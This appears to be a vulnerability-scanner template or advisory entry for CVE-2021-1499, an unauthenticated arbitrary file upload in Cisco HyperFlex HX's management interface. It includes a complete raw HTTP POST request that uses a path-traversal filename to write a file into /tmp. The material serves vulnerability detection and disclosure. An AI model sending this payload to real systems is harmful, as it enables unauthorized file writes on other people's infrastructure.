| Title | Cisco HyperFlex HX Data Platform - Arbitrary File Upload |
|---|---|
| Author | gy741 |
| Severity | Medium |
| Impact | Allows an attacker to upload and execute arbitrary files on the target system |
| Remediation | Apply the necessary security patches or updates provided by Cisco |
| CVSS Score | 5.3 |
| EPSS Score | 0.9197 |
| CVE ID | CVE-2021-1499 |
| CWE ID | CWE-306 |
| Tags | cve2021 cve fileupload intrusive packetstorm cisco vuln |
Cisco HyperFlex HX Data Platform contains an arbitrary file upload vulnerability in the web-based management interface. An attacker can send a specific HTTP request to an affected device, thus enabling upload of files to the affected device with the permissions of the tomcat8 user.
POST /upload HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15
Connection: close
Content-Length: 274
Accept: */*
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------253855577425106594691130420583
Origin: /
Referer: /
-----------------------------253855577425106594691130420583
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/passwd9"
Content-Type: application/json
MyPasswdNewData->/api/tomcat
-----------------------------253855577425106594691130420583--
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